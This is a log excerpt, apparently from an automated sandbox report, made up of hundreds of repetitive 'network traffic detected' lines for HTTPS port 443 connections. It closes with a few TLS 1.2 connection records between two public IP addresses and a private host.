Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 52084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52300 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 52152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52291 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 52094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 52142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 52060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 52137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52326 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52307
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52306
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 52033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52309
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 52268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52300
Source: unknown	Network traffic detected: HTTP traffic on port 52194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52303
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52304
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52301
Source: unknown	Network traffic detected: HTTP traffic on port 52212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52302
Source: unknown	Network traffic detected: HTTP traffic on port 52149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 52162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52234
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52232
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52235
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 52146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52249
Source: unknown	Network traffic detected: HTTP traffic on port 52306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52250
Source: unknown	Network traffic detected: HTTP traffic on port 52284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 52215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52256
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52257
Source: unknown	Network traffic detected: HTTP traffic on port 52090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 52260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52260
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52267
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52029
Source: unknown	Network traffic detected: HTTP traffic on port 52067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52268
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52269
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 52124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52273
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52271
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52272
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 52053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 52213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52207
Source: unknown	Network traffic detected: HTTP traffic on port 52109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 52087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52202
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52203
Source: unknown	Network traffic detected: HTTP traffic on port 52171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52219
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52217
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52218
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52211
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52212
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 52193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52216
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52213
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52214
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52228
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52229
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52221
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52226
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52227
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52224
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52225
Source: unknown	Network traffic detected: HTTP traffic on port 52043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52230
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 52286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 52099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52078
Source: unknown	Network traffic detected: HTTP traffic on port 52120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52082

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.211.8.90:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.211.8.90:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49944 version: TLS 1.2
